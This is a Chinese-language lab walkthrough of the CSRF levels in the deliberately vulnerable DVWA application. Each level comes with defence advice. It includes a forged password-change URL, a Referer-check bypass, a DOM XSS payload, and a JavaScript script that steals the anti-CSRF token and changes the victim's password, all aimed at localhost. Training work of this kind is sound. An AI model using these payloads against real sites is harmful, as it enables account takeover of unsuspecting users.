(DVWA) v1.10 Development CSRF全等级通关攻略
字数 984 2025-08-15 21:33:14

DVWA v1.10 CSRF全等级通关教学文档

CSRF基础概念

跨站请求伪造(CSRF)是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者身份向服务器发送请求,从而完成非法操作。

与XSS的区别:CSRF没有盗取cookie而是直接利用。

Low级别攻击

漏洞分析

  • 服务器仅检查两次输入的密码是否相同
  • 无任何防护措施

攻击方法

  1. 直接构造链接

    http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=crack&password_conf=crack&Change=Change#
    
  2. 构造攻击页面(crack.html)

    
    <h1>404</h1>
    <h2>file not found.</h2>
    
  3. 与XSS结合利用

    
    

防御建议

  • 添加CSRF Token验证
  • 检查Referer头

Medium级别攻击

防护机制

检查HTTP Referer头中是否包含服务器名(SERVER_NAME):

if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) === false)

绕过方法

  1. 在攻击者服务器上创建包含服务器名的页面(如127.0.0.1.html)
  2. 页面中包含恶意CSRF代码:
    
    <h1>404</h1>
    <h2>can not find file in this server.</h2>
    

防御建议

  • 严格验证Referer头
  • 添加CSRF Token

High级别攻击

防护机制

  • 使用Anti-CSRF token机制
  • 每次访问页面生成随机token
  • 请求必须包含有效token

攻击方法

结合XSS漏洞获取token:

  1. 利用DOM XSS漏洞

    ?default=English#<script>alert('XSS')</script>
    
  2. 构造JavaScript攻击代码(xss.js)

    var theUrl = 'http://127.0.0.1/dvwa/vulnerabilities/csrf/';
    var pass = '2021';
    if (window.XMLHttpRequest){
      xmlhttp=new XMLHttpRequest();
    }else{
      xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.withCredentials = true;
    var hacked = false;
    xmlhttp.onreadystatechange=function(){
      if (xmlhttp.readyState==4 && xmlhttp.status==200) {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\'/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new='+pass+'&password_conf='+pass+'&Change=Change&user_token='+token+'#';
        if(!hacked){
          alert('Got token:' + match[1]);
          hacked = true;
          xmlhttp.open("GET", new_url, false );
          xmlhttp.send();
        }
        count++;
      }
    };
    xmlhttp.open("GET", theUrl, false );
    xmlhttp.send();
    
  3. 触发攻击

    ?default=English#<script src="http://127.0.0.1/xss.js"></script>
    

防御建议

  • 对XSS漏洞进行修复
  • 使用HttpOnly Cookie
  • 增加敏感操作的二次验证

Impossible级别

安全机制

  • 要求用户输入当前密码
  • 结合CSRF Token
  • 无有效攻击向量

总结

级别 防护措施 攻击方法 防御建议
Low 直接构造链接/攻击页面 添加CSRF Token
Medium 检查Referer头 构造包含服务器名的攻击页面 严格验证Referer头
High CSRF Token 结合XSS获取Token 修复XSS漏洞
Impossible 要求当前密码+Token 无有效攻击向量 -

最佳实践

  1. 关键操作使用POST请求
  2. 使用CSRF Token并验证
  3. 检查Referer头
  4. 敏感操作要求二次验证
  5. 及时修复XSS漏洞
DVWA v1.10 CSRF全等级通关教学文档 CSRF基础概念 跨站请求伪造(CSRF) 是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者身份向服务器发送请求,从而完成非法操作。 与XSS的区别 :CSRF没有盗取cookie而是直接利用。 Low级别攻击 漏洞分析 服务器仅检查两次输入的密码是否相同 无任何防护措施 攻击方法 直接构造链接 : 构造攻击页面(crack.html) : 与XSS结合利用 : 防御建议 添加CSRF Token验证 检查Referer头 Medium级别攻击 防护机制 检查HTTP Referer头中是否包含服务器名(SERVER_ NAME): 绕过方法 在攻击者服务器上创建包含服务器名的页面(如127.0.0.1.html) 页面中包含恶意CSRF代码: 防御建议 严格验证Referer头 添加CSRF Token High级别攻击 防护机制 使用Anti-CSRF token机制 每次访问页面生成随机token 请求必须包含有效token 攻击方法 结合XSS漏洞获取token: 利用DOM XSS漏洞 : 构造JavaScript攻击代码(xss.js) : 触发攻击 : 防御建议 对XSS漏洞进行修复 使用HttpOnly Cookie 增加敏感操作的二次验证 Impossible级别 安全机制 要求用户输入当前密码 结合CSRF Token 无有效攻击向量 总结 | 级别 | 防护措施 | 攻击方法 | 防御建议 | |------|----------|----------|----------| | Low | 无 | 直接构造链接/攻击页面 | 添加CSRF Token | | Medium | 检查Referer头 | 构造包含服务器名的攻击页面 | 严格验证Referer头 | | High | CSRF Token | 结合XSS获取Token | 修复XSS漏洞 | | Impossible | 要求当前密码+Token | 无有效攻击向量 | - | 最佳实践 : 关键操作使用POST请求 使用CSRF Token并验证 检查Referer头 敏感操作要求二次验证 及时修复XSS漏洞